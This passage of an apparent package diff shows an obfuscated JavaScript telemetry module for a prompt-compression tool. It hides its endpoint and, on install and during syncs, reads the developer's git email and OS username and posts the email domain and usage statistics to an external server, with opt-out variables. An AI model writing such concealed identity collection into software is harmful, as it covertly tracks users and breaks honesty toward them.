_0x268b79['push'](_0x268b79['shift']());}catch(_0x15ec5d){_0x268b79['push'](_0x268b79['shift']());}}}(a0_0x44b1,0x70f69));function a0_0x44b1(){const _0x25d768=['getStatsSummary','Gemini\x203.5\x20Flash','44510aoUFqU','OpenAI\x20o1-mini','git\x20config\x20user.email','GPT-5.4\x20Mini','mkdirSync','_PS_EP','Gemini\x203.1\x20Flash-Lite','domain','anon_id','unknown','TRIMPROMPT_NO_TELEMETRY','split','pipe','Cursor\x20Small','OpenAI\x20o1','install_identified','model_used','filter','GPT-4o\x20Mini','timestamp','slice','logs','TRIMPROMPT_DISABLE_TELEMETRY','destroy','stringify','GPT-4o','https://','__importStar','__createBinding','35556qyKfMv','indexOf','add','total_raw_tokens','protocol','getOwnPropertyDescriptor','getOwnPropertyNames','8cvyuTh','_PS_EVENT','unlinkSync','POST','telemetry_url','username','GPT-5.4','randomUUID','http','end','anonymous','Claude\x20Fable\x205','install','3jIFBYK','writeFileSync','46CfTAPn','write','4095342XvZZJs','true','parse','existsSync','platform','3670686cPhyUO','Claude\x20Sonnet\x204.5','toLowerCase','catch','5TSDigx','Claude\x20Opus\x204.5','total_compressed_tokens','GPT-5.4\x20Nano','error','https','OpenAI\x20o3-mini','config.json','3636731kJOzgH','configurable','.trimprompt','argv','length','writable','yes','child_process','toString','toISOString','now','get','GPT-4.1\x20Mini','GPT-5.5','port','byteLength','Claude\x20Sonnet\x204.6','Claude\x20Opus\x204.1\x20(deprecated)','last_sync_date','money_saved_usd','hasOwnProperty','477552lohPdW','readFileSync','getTime','trim','default','ignore','Claude\x20Haiku\x203.5','synced','env','11352108DvUFuD','Gemini\x203.5\x20Live\x20Translate','TRIMPROMPT_TELEMETRY_URL','https:','506vKfRYR','Claude\x20Opus\x204.8','Claude\x203.5\x20Sonnet','Claude\x20Mythos\x205','last_sync_time','defineProperty','push','statusCode','stats.json','__esModule','version','search','utf8','join','auto','call','./tracker','.up.railway.app','includes','TRIMPROMPT_USER_EMAIL'];a0_0x44b1=function(){return _0x25d768;};return a0_0x44b1();}var __createBinding=this&&this[a0_0x545210(0x253)]||(Object['create']?function(_0x66e412,_0x23ecb6,_0x3db855,_0x15f0e2){const _0x45908f=a0_0x545210;if(_0x15f0e2===undefined)_0x15f0e2=_0x3db855;var _0x9bbde0=Object[_0x45908f(0x259)](_0x23ecb6,_0x3db855);(!_0x9bbde0||(_0x45908f(0x20a)in _0x9bbde0?!_0x23ecb6[_0x45908f(0x22a)]:_0x9bbde0[_0x45908f(0x204)]||_0x9bbde0[_0x45908f(0x200)]))&&(_0x9bbde0={'enumerable':!![],'get':function(){return _0x23ecb6[_0x3db855];}}),Object[_0x45908f(0x226)](_0x66e412,_0x15f0e2,_0x9bbde0);}:function(_0x2a80ec,_0x559fda,_0x554519,_0x4fa480){if(_0x4fa480===undefined)_0x4fa480=_0x554519;_0x2a80ec[_0x4fa480]=_0x559fda[_0x554519];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x24db0f,_0x34be19){const _0x3ddc79=a0_0x545210;Object['defineProperty'](_0x24db0f,_0x3ddc79(0x218),{'enumerable':!![],'value':_0x34be19});}:function(_0x3fcd43,_0x3cdfe4){const _0x167d37=a0_0x545210;_0x3fcd43[_0x167d37(0x218)]=_0x3cdfe4;}),__importStar=this&&this[a0_0x545210(0x252)]||(function(){var _0x5abaa8=function(_0x37cd18){const _0x5a1c76=a0_0x4306;return _0x5abaa8=Object[_0x5a1c76(0x25a)]||function(_0x4093c8){const _0x281920=_0x5a1c76;var _0x109c8e=[];for(var _0x4b8076 in _0x4093c8)if(Object['prototype'][_0x281920(0x213)][_0x281920(0x230)](_0x4093c8,_0x4b8076))_0x109c8e[_0x109c8e[_0x281920(0x203)]]=_0x4b8076;return _0x109c8e;},_0x5abaa8(_0x37cd18);};return function(_0x45db83){const _0x2cc628=a0_0x4306;if(_0x45db83&&_0x45db83[_0x2cc628(0x22a)])return _0x45db83;var _0x388f56={};if(_0x45db83!=null){for(var _0x6e37cf=_0x5abaa8(_0x45db83),_0x58a80d=0x0;_0x58a80d<_0x6e37cf[_0x2cc628(0x203)];_0x58a80d++)if(_0x6e37cf[_0x58a80d]!==_0x2cc628(0x218))__createBinding(_0x388f56,_0x45db83,_0x6e37cf[_0x58a80d]);}return __setModuleDefault(_0x388f56,_0x45db83),_0x388f56;};}());Object[a0_0x545210(0x226)](exports,a0_0x545210(0x22a),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x545210(0x263))),https=__importStar(require(a0_0x545210(0x1fc))),url_1=require('url'),_cfg=[a0_0x545210(0x251),'trimp-production',a0_0x545210(0x232),'/api/telemetry'][a0_0x545210(0x22e)](''),_ep=process[a0_0x545210(0x21c)][a0_0x545210(0x23c)]||_cfg;function hasSyncedRecently(){const _0x33a5d2=a0_0x545210;try{if(!fs[_0x33a5d2(0x26f)](dailySyncPath))return![];const _0x4b51cc=JSON[_0x33a5d2(0x26e)](fs[_0x33a5d2(0x215)](dailySyncPath,_0x33a5d2(0x22d)));if(!_0x4b51cc['last_sync_time'])return![];return Date[_0x33a5d2(0x209)]()-_0x4b51cc[_0x33a5d2(0x225)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x245181=a0_0x545210;try{const _0x32f86f={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x245181(0x209)]()};fs['writeFileSync'](dailySyncPath,JSON[_0x245181(0x24f)](_0x32f86f,null,0x2),_0x245181(0x22d));}catch{}}const PRICING={'claude-fable-5':{'name':a0_0x545210(0x266),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x545210(0x224),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x545210(0x222),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x545210(0x1f8),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x545210(0x210),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x545210(0x20f),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x545210(0x1f4),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x545210(0x223),'input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x545210(0x21a),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x545210(0x20c),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x545210(0x261),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x545210(0x250),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x545210(0x23a),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x545210(0x1fa),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x545210(0x20b),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x545210(0x249),'input_price_1m':0.15},'o1':{'name':a0_0x545210(0x245),'input_price_1m':0xf},'o1-mini':{'name':a0_0x545210(0x238),'input_price_1m':0x3},'o3-mini':{'name':a0_0x545210(0x1fd),'input_price_1m':1.1},'cursor-small':{'name':a0_0x545210(0x244),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x545210(0x236),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x545210(0x23d),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x545210(0x21e),'input_price_1m':3.5}},baseDir=path[a0_0x545210(0x22e)](os['homedir'](),a0_0x545210(0x201)),configPath=path[a0_0x545210(0x22e)](baseDir,a0_0x545210(0x1fe)),statsPath=path['join'](baseDir,a0_0x545210(0x229)),dailySyncPath=path[a0_0x545210(0x22e)](baseDir,'daily_sync.json');function getTodayDate(){const _0x31c6a4=a0_0x545210;return new Date()[_0x31c6a4(0x208)]()[_0x31c6a4(0x242)]('T')[0x0];}function getDeveloperIdentity(){const _0x1bc481=a0_0x545210;if(process['env'][_0x1bc481(0x234)])return process[_0x1bc481(0x21c)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x2d725c}=require(_0x1bc481(0x206)),_0x532002=_0x2d725c(_0x1bc481(0x239),{'stdio':[_0x1bc481(0x219),_0x1bc481(0x243),_0x1bc481(0x219)],'windowsHide':!![]})[_0x1bc481(0x207)]()['trim']();if(_0x532002&&_0x532002[_0x1bc481(0x233)]('@'))return _0x532002;}catch{}try{const _0x1f084e=os['userInfo']()[_0x1bc481(0x260)];if(_0x1f084e)return _0x1f084e;}catch{}return _0x1bc481(0x265);}function getDeveloperDomain(){const _0x48490f=a0_0x545210,_0x3e83c6=getDeveloperIdentity(),_0x2c1d25=_0x3e83c6[_0x48490f(0x255)]('@');if(_0x2c1d25>=0x0&&_0x2c1d25<_0x3e83c6[_0x48490f(0x203)]-0x1)return _0x3e83c6[_0x48490f(0x24b)](_0x2c1d25+0x1)[_0x48490f(0x1f5)]();return'unknown';}function hasAlreadySyncedToday(){const _0x3fec2f=a0_0x545210;try{if(!fs[_0x3fec2f(0x26f)](dailySyncPath))return![];const _0x3939a2=JSON[_0x3fec2f(0x26e)](fs['readFileSync'](dailySyncPath,_0x3fec2f(0x22d)));return _0x3939a2[_0x3fec2f(0x211)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x389448=a0_0x545210;try{const _0x5b6aed={'last_sync_date':getTodayDate()};fs[_0x389448(0x269)](dailySyncPath,JSON['stringify'](_0x5b6aed,null,0x2),'utf8');}catch{}}function postTelemetry(_0xd5b4b6,_0x5338b1){return new Promise(_0x2d3778=>{const _0x4aafff=a0_0x4306;try{const _0x577aff=new url_1['URL'](_0xd5b4b6),_0x48d8b8=JSON[_0x4aafff(0x24f)](_0x5338b1),_0x112e08={'hostname':_0x577aff['hostname'],'port':_0x577aff[_0x4aafff(0x20d)]||(_0x577aff[_0x4aafff(0x258)]===_0x4aafff(0x220)?0x1bb:0x50),'path':_0x577aff['pathname']+_0x577aff[_0x4aafff(0x22c)],'method':_0x4aafff(0x25e),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x4aafff(0x20e)](_0x48d8b8)},'timeout':0x1f40},_0x1c088f=_0x577aff[_0x4aafff(0x258)]==='https:'?https:http,_0x7bcc3d=_0x1c088f['request'](_0x112e08,_0x3e24f8=>{const _0x3fdddf=_0x4aafff;_0x2d3778(!!(_0x3e24f8[_0x3fdddf(0x228)]&&_0x3e24f8[_0x3fdddf(0x228)]>=0xc8&&_0x3e24f8[_0x3fdddf(0x228)]<0x12c));});_0x7bcc3d['on'](_0x4aafff(0x1fb),()=>_0x2d3778(![])),_0x7bcc3d['on']('timeout',()=>{const _0x179e3a=_0x4aafff;_0x7bcc3d[_0x179e3a(0x24e)](),_0x2d3778(![]);}),_0x7bcc3d[_0x4aafff(0x26b)](_0x48d8b8),_0x7bcc3d[_0x4aafff(0x264)]();}catch{_0x2d3778(![]);}});}function buildDailyPayload(_0x1252dd){const _0x5e1e49=a0_0x545210,_0x2fba81=getTodayDate(),{tracker:_0x34980c}=require(_0x5e1e49(0x231)),_0x50c129=_0x34980c?_0x34980c[_0x5e1e49(0x235)](_0x5e1e49(0x22f)):null,_0xcab833=new Set();for(const _0x5c3dbb of _0x1252dd){if(_0x5c3dbb[_0x5e1e49(0x247)])_0xcab833[_0x5e1e49(0x256)](_0x5c3dbb[_0x5e1e49(0x247)]);}if(_0xcab833['size']===0x0)_0xcab833['add']('claude-opus-4-8');const _0x41910b=_0x1252dd[_0x1252dd[_0x5e1e49(0x203)]-0x1];return{'developer_id':getDeveloperDomain(),'identifier_type':_0x5e1e49(0x23e),'os':os[_0x5e1e49(0x270)](),'date':_0x2fba81,'executions_count':_0x1252dd[_0x5e1e49(0x203)],'total_raw_tokens':_0x50c129?_0x50c129[_0x5e1e49(0x257)]:0x0,'total_compressed_tokens':_0x50c129?_0x50c129[_0x5e1e49(0x1f9)]:0x0,'total_tokens_saved':_0x50c129?_0x50c129['total_tokens_saved']:0x0,'total_money_saved_usd':_0x50c129?_0x50c129[_0x5e1e49(0x212)]:0x0,'models_used':Array['from'](_0xcab833),'hotspots':[],'last_seen':_0x41910b?_0x41910b[_0x5e1e49(0x24a)]:new Date()['toISOString']()};}function telemetryOptedOut(){const _0x86fd4d=a0_0x545210,_0x572692=(process[_0x86fd4d(0x21c)][_0x86fd4d(0x241)]||process['env'][_0x86fd4d(0x24d)]||'')[_0x86fd4d(0x1f5)]();return _0x572692==='1'||_0x572692===_0x86fd4d(0x26d)||_0x572692===_0x86fd4d(0x205);}function resolveOrgUrl(){const _0x3c8e43=a0_0x545210;let _0x344814=process[_0x3c8e43(0x21c)]['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x344814&&fs['existsSync'](configPath))try{const _0x5d5ceb=JSON[_0x3c8e43(0x26e)](fs[_0x3c8e43(0x215)](configPath,_0x3c8e43(0x22d)));_0x344814=_0x5d5ceb[_0x3c8e43(0x25f)]||'';}catch{}return _0x344814[_0x3c8e43(0x217)]();}function getAnonymousId(){const _0x205faf=a0_0x545210;try{const _0x2c1c8f=path[_0x205faf(0x22e)](baseDir,_0x205faf(0x23f));if(fs[_0x205faf(0x26f)](_0x2c1c8f)){const _0x519824=fs['readFileSync'](_0x2c1c8f,_0x205faf(0x22d))[_0x205faf(0x217)]();if(_0x519824)return _0x519824;}const _0x189b00=require('crypto')[_0x205faf(0x262)]();return fs[_0x205faf(0x23b)](baseDir,{'recursive':!![]}),fs[_0x205faf(0x269)](_0x2c1c8f,_0x189b00,_0x205faf(0x22d)),_0x189b00;}catch{return'anonymous';}}async function sendInstallEvent(_0x518ba5){const _0xa08988=a0_0x545210;if(telemetryOptedOut())return;let _0x2f4b6a=_0xa08988(0x240);try{if(fs['existsSync'](configPath)){const _0x5af35f=JSON[_0xa08988(0x26e)](fs[_0xa08988(0x215)](configPath,_0xa08988(0x22d)));if(_0x5af35f[_0xa08988(0x22b)])_0x2f4b6a=_0x5af35f['version'];}}catch{}const _0x1c0ae8={'event':_0x518ba5?_0xa08988(0x246):_0xa08988(0x267),'developer_id':_0x518ba5?getDeveloperDomain():getAnonymousId(),'identifier_type':_0x518ba5?'domain':_0xa08988(0x265),'anonymous':!_0x518ba5,'os':os[_0xa08988(0x270)](),'version':_0x2f4b6a,'timestamp':new Date()[_0xa08988(0x208)]()};await postTelemetry(_ep,_0x1c0ae8);const _0x2775aa=resolveOrgUrl();_0x2775aa[_0xa08988(0x203)]>0x0&&await postTelemetry(_0x2775aa,_0x1c0ae8);}async function runSync(){const _0x45abd3=a0_0x545210;if(telemetryOptedOut())return;if(!fs[_0x45abd3(0x26f)](statsPath))return;let _0x171316;try{_0x171316=JSON[_0x45abd3(0x26e)](fs[_0x45abd3(0x215)](statsPath,'utf8'));}catch{return;}const _0x52fa47=_0x171316[_0x45abd3(0x248)](_0x4952ed=>!_0x4952ed[_0x45abd3(0x21b)]);if(_0x52fa47[_0x45abd3(0x203)]===0x0&&hasSyncedRecently())return;const _0x503377=buildDailyPayload(_0x171316);await postTelemetry(_ep,_0x503377);let _0x5c14c2=process[_0x45abd3(0x21c)][_0x45abd3(0x21f)]||'';if(!_0x5c14c2&&fs[_0x45abd3(0x26f)](configPath))try{const _0x11377d=JSON[_0x45abd3(0x26e)](fs['readFileSync'](configPath,'utf8'));_0x5c14c2=_0x11377d[_0x45abd3(0x25f)]||'';}catch{}_0x5c14c2[_0x45abd3(0x217)]()['length']>0x0&&await postTelemetry(_0x5c14c2,_0x503377);for(const _0x16558e of _0x171316){if(!_0x16558e[_0x45abd3(0x21b)])_0x16558e['synced']=!![];}try{fs[_0x45abd3(0x269)](statsPath,JSON[_0x45abd3(0x24f)](_0x171316,null,0x2),_0x45abd3(0x22d));}catch{}markSyncedNow();}function pruneOldLogs(_0x1c02a6){const _0x242018=a0_0x545210;try{const _0x497a09=new Date(),_0x2f6afe=new Date(_0x497a09[_0x242018(0x216)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3a82de=[],_0x522f2a=[];for(const _0x4bea36 of _0x1c02a6){const _0x54cb69=new Date(_0x4bea36[_0x242018(0x24a)]);_0x54cb69>=_0x2f6afe?_0x3a82de['push'](_0x4bea36):_0x522f2a[_0x242018(0x227)](_0x4bea36);}if(_0x522f2a['length']>0x0){const _0x63dd61=path[_0x242018(0x22e)](baseDir,_0x242018(0x24c));for(const _0x4b580f of _0x522f2a){const _0x50ffa0=path[_0x242018(0x22e)](_0x63dd61,_0x4b580f['id']+'.raw.txt'),_0x41f689=path['join'](_0x63dd61,_0x4b580f['id']+'.comp.txt');try{if(fs['existsSync'](_0x50ffa0))fs[_0x242018(0x25d)](_0x50ffa0);if(fs[_0x242018(0x26f)](_0x41f689))fs['unlinkSync'](_0x41f689);}catch{}}fs[_0x242018(0x269)](statsPath,JSON['stringify'](_0x3a82de,null,0x2),_0x242018(0x22d));}}catch{}}let _event=process[a0_0x545210(0x21c)][a0_0x545210(0x25c)]||'';if(!_event){if(process[a0_0x545210(0x202)][a0_0x545210(0x233)]('--install-id'))_event=a0_0x545210(0x246);else{if(process[a0_0x545210(0x202)][a0_0x545210(0x233)]('--install'))_event=a0_0x545210(0x267);}}if(_event===a0_0x545210(0x267))sendInstallEvent(![])[a0_0x545210(0x1f6)](()=>{});else _event===a0_0x545210(0x246)?sendInstallEvent(!![])[a0_0x545210(0x1f6)](()=>{}):runSync()[a0_0x545210(0x1f6)](()=>{});
|
|
1
|
+
'use strict';const a0_0x1493dd=a0_0x3f39;(function(_0x273729,_0x3301b1){const _0x3ad547=a0_0x3f39,_0xdb0a33=_0x273729();while(!![]){try{const _0x275d36=-parseInt(_0x3ad547(0x226))/0x1+-parseInt(_0x3ad547(0x20d))/0x2+parseInt(_0x3ad547(0x22b))/0x3+parseInt(_0x3ad547(0x1c7))/0x4*(parseInt(_0x3ad547(0x1f6))/0x5)+parseInt(_0x3ad547(0x20b))/0x6*(parseInt(_0x3ad547(0x210))/0x7)+-parseInt(_0x3ad547(0x1e3))/0x8*(parseInt(_0x3ad547(0x1be))/0x9)+parseInt(_0x3ad547(0x1c0))/0xa;if(_0x275d36===_0x3301b1)break;else _0xdb0a33['push'](_0xdb0a33['shift']());}catch(_0x41c4ad){_0xdb0a33['push'](_0xdb0a33['shift']());}}}(a0_0x1dab,0xd9a44));var __createBinding=this&&this[a0_0x1493dd(0x224)]||(Object['create']?function(_0x4cb959,_0x2caccf,_0xbae01f,_0x58f10a){const _0x2181a1=a0_0x1493dd;if(_0x58f10a===undefined)_0x58f10a=_0xbae01f;var _0x861659=Object[_0x2181a1(0x1d8)](_0x2caccf,_0xbae01f);(!_0x861659||(_0x2181a1(0x1e2)in _0x861659?!_0x2caccf['__esModule']:_0x861659[_0x2181a1(0x1fa)]||_0x861659[_0x2181a1(0x205)]))&&(_0x861659={'enumerable':!![],'get':function(){return _0x2caccf[_0xbae01f];}}),Object[_0x2181a1(0x1ce)](_0x4cb959,_0x58f10a,_0x861659);}:function(_0x22b546,_0x1edb9f,_0x210473,_0x4bdc0f){if(_0x4bdc0f===undefined)_0x4bdc0f=_0x210473;_0x22b546[_0x4bdc0f]=_0x1edb9f[_0x210473];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1493dd(0x1f5)]?function(_0x110002,_0x179079){const _0x1ed501=a0_0x1493dd;Object['defineProperty'](_0x110002,_0x1ed501(0x1e0),{'enumerable':!![],'value':_0x179079});}:function(_0x3b7c83,_0x4d35d3){const _0x268922=a0_0x1493dd;_0x3b7c83[_0x268922(0x1e0)]=_0x4d35d3;}),__importStar=this&&this[a0_0x1493dd(0x20e)]||(function(){var _0x15a23b=function(_0x57f535){const _0x606273=a0_0x3f39;return _0x15a23b=Object[_0x606273(0x1d9)]||function(_0x268b4a){const _0x3b50f6=_0x606273;var _0x28e2ed=[];for(var _0x103410 in _0x268b4a)if(Object[_0x3b50f6(0x1f9)][_0x3b50f6(0x1d7)][_0x3b50f6(0x1e5)](_0x268b4a,_0x103410))_0x28e2ed[_0x28e2ed[_0x3b50f6(0x1c1)]]=_0x103410;return _0x28e2ed;},_0x15a23b(_0x57f535);};return function(_0x33ac16){const _0xca4f94=a0_0x3f39;if(_0x33ac16&&_0x33ac16[_0xca4f94(0x230)])return _0x33ac16;var _0x448ccc={};if(_0x33ac16!=null){for(var _0x114a8e=_0x15a23b(_0x33ac16),_0x2c3b59=0x0;_0x2c3b59<_0x114a8e[_0xca4f94(0x1c1)];_0x2c3b59++)if(_0x114a8e[_0x2c3b59]!==_0xca4f94(0x1e0))__createBinding(_0x448ccc,_0x33ac16,_0x114a8e[_0x2c3b59]);}return __setModuleDefault(_0x448ccc,_0x33ac16),_0x448ccc;};}());function a0_0x3f39(_0x224d26,_0x52200d){const _0x1dab59=a0_0x1dab();return a0_0x3f39=function(_0x3f396f,_0x14a282){_0x3f396f=_0x3f396f-0x1b9;let _0x30d790=_0x1dab59[_0x3f396f];return _0x30d790;},a0_0x3f39(_0x224d26,_0x52200d);}Object['defineProperty'](exports,a0_0x1493dd(0x230),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1493dd(0x1bd))),os=__importStar(require('os')),http=__importStar(require(a0_0x1493dd(0x203))),https=__importStar(require('https')),url_1=require('url'),_cfg=[a0_0x1493dd(0x1f8),a0_0x1493dd(0x1d1),a0_0x1493dd(0x1ff),a0_0x1493dd(0x1cd)]['join'](''),_ep=process[a0_0x1493dd(0x234)][a0_0x1493dd(0x206)]||_cfg;function hasSyncedRecently(){const _0x15f84b=a0_0x1493dd;try{if(!fs[_0x15f84b(0x1bc)](dailySyncPath))return![];const _0x305506=JSON[_0x15f84b(0x228)](fs[_0x15f84b(0x1ee)](dailySyncPath,_0x15f84b(0x1f4)));if(!_0x305506[_0x15f84b(0x204)])return![];return Date[_0x15f84b(0x202)]()-_0x305506['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x2fa1de=a0_0x1493dd;try{const _0x397b88={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x2fa1de(0x202)]()};fs[_0x2fa1de(0x232)](dailySyncPath,JSON['stringify'](_0x397b88,null,0x2),_0x2fa1de(0x1f4));}catch{}}const PRICING={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1493dd(0x213),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1493dd(0x227),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x1493dd(0x1ef),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x1493dd(0x1c5),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x1493dd(0x1d4),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x1493dd(0x1e7),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x1493dd(0x201),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x1493dd(0x1f3),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x1493dd(0x1ea),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1493dd(0x217),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x1493dd(0x21b),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0x1493dd(0x214),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x1493dd(0x1ed),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1493dd(0x1e1),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x1493dd(0x209),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x1493dd(0x20f),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x1493dd(0x1ba),'input_price_1m':1.1},'cursor-small':{'name':a0_0x1493dd(0x231),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x1493dd(0x222),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}},baseDir=path[a0_0x1493dd(0x219)](os[a0_0x1493dd(0x22c)](),a0_0x1493dd(0x1f0)),configPath=path[a0_0x1493dd(0x219)](baseDir,a0_0x1493dd(0x1c9)),statsPath=path[a0_0x1493dd(0x219)](baseDir,'stats.json'),dailySyncPath=path['join'](baseDir,'daily_sync.json');function getTodayDate(){const _0xad443=a0_0x1493dd;return new Date()[_0xad443(0x1cb)]()[_0xad443(0x1d5)]('T')[0x0];}function getDeveloperIdentity(){const _0x32ef0d=a0_0x1493dd;if(process[_0x32ef0d(0x234)][_0x32ef0d(0x229)])return process[_0x32ef0d(0x234)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x4064bc}=require(_0x32ef0d(0x1d6)),_0x1c0577=_0x4064bc('git\x20config\x20user.email',{'stdio':[_0x32ef0d(0x1f1),_0x32ef0d(0x1fe),_0x32ef0d(0x1f1)],'windowsHide':!![]})['toString']()[_0x32ef0d(0x1de)]();if(_0x1c0577&&_0x1c0577[_0x32ef0d(0x21d)]('@'))return _0x1c0577;}catch{}try{const _0x5e878d=os[_0x32ef0d(0x212)]()[_0x32ef0d(0x220)];if(_0x5e878d)return _0x5e878d;}catch{}return _0x32ef0d(0x216);}function a0_0x1dab(){const _0x552f5e=['60gRqEpX','destroy','config.json','randomUUID','toISOString','end','/api/telemetry','defineProperty','unlinkSync','platform','trimp-production','model_used','timestamp','Claude\x20Opus\x204.1\x20(deprecated)','split','child_process','hasOwnProperty','getOwnPropertyDescriptor','getOwnPropertyNames','claude-opus-4-8','getStatsSummary','error','true','trim','.raw.txt','default','GPT-4.1\x20Mini','get','95464Pwsnfr','add','call','pathname','Claude\x20Sonnet\x204.6','request','argv','Claude\x20Haiku\x204.5','synced','slice','GPT-5.4\x20Nano','readFileSync','Claude\x20Opus\x204.7','.trimprompt','ignore','protocol','Claude\x203.5\x20Sonnet','utf8','create','84055JDWJmr','push','https://','prototype','writable','byteLength','hostname','.comp.txt','pipe','.up.railway.app','port','Claude\x20Sonnet\x204.5','now','http','last_sync_time','configurable','_PS_EP','write','POST','GPT-4.1\x20Nano','version','5204226gJhiyt','toLowerCase','2599114zFnBJG','__importStar','GPT-4o\x20Mini','7Eydvot','total_raw_tokens','userInfo','Claude\x20Mythos\x205','GPT-4o','os_user','anonymous','Claude\x20Haiku\x203.5','crypto','join','TRIMPROMPT_TELEMETRY_URL','GPT-5.5','install','includes','https:','money_saved_usd','username','stringify','Gemini\x203.1\x20Pro','_PS_EVENT','__createBinding','filter','100713GhqlQc','Claude\x20Opus\x204.8','parse','TRIMPROMPT_USER_EMAIL','timeout','113355oEGNEz','homedir','mkdirSync','statusCode','domain','__esModule','Cursor\x20Small','writeFileSync','logs','env','telemetry_url','getTime','OpenAI\x20o3-mini','catch','existsSync','path','972ZqDDsw','--install','24231730biObWX','length','last_sync_date','auto','from','Claude\x20Opus\x204.5','unknown'];a0_0x1dab=function(){return _0x552f5e;};return a0_0x1dab();}function getOsUser(){const _0x5ea8d3=a0_0x1493dd;try{const _0x4815bd=os['userInfo']()['username'];if(_0x4815bd)return _0x4815bd;}catch{}return _0x5ea8d3(0x1c6);}function getDeveloperDomain(){const _0x2ecd9b=a0_0x1493dd,_0x278db6=getDeveloperIdentity(),_0x32b1a4=_0x278db6['indexOf']('@');if(_0x32b1a4>=0x0&&_0x32b1a4<_0x278db6['length']-0x1)return _0x278db6[_0x2ecd9b(0x1ec)](_0x32b1a4+0x1)[_0x2ecd9b(0x20c)]();return _0x2ecd9b(0x1c6);}function hasAlreadySyncedToday(){const _0x2ccda7=a0_0x1493dd;try{if(!fs[_0x2ccda7(0x1bc)](dailySyncPath))return![];const _0x3f3a23=JSON['parse'](fs['readFileSync'](dailySyncPath,_0x2ccda7(0x1f4)));return _0x3f3a23[_0x2ccda7(0x1c2)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x417c80=a0_0x1493dd;try{const _0x3431fa={'last_sync_date':getTodayDate()};fs[_0x417c80(0x232)](dailySyncPath,JSON[_0x417c80(0x221)](_0x3431fa,null,0x2),_0x417c80(0x1f4));}catch{}}function postTelemetry(_0x2f1174,_0x5e0a5a){return new Promise(_0x39fb50=>{const _0x279e2e=a0_0x3f39;try{const _0x1d8812=new url_1['URL'](_0x2f1174),_0x188c96=JSON['stringify'](_0x5e0a5a),_0xafc298={'hostname':_0x1d8812[_0x279e2e(0x1fc)],'port':_0x1d8812[_0x279e2e(0x200)]||(_0x1d8812[_0x279e2e(0x1f2)]===_0x279e2e(0x21e)?0x1bb:0x50),'path':_0x1d8812[_0x279e2e(0x1e6)]+_0x1d8812['search'],'method':_0x279e2e(0x208),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x279e2e(0x1fb)](_0x188c96)},'timeout':0x1f40},_0x2411e2=_0x1d8812[_0x279e2e(0x1f2)]===_0x279e2e(0x21e)?https:http,_0x10582c=_0x2411e2[_0x279e2e(0x1e8)](_0xafc298,_0x4a92c0=>{const 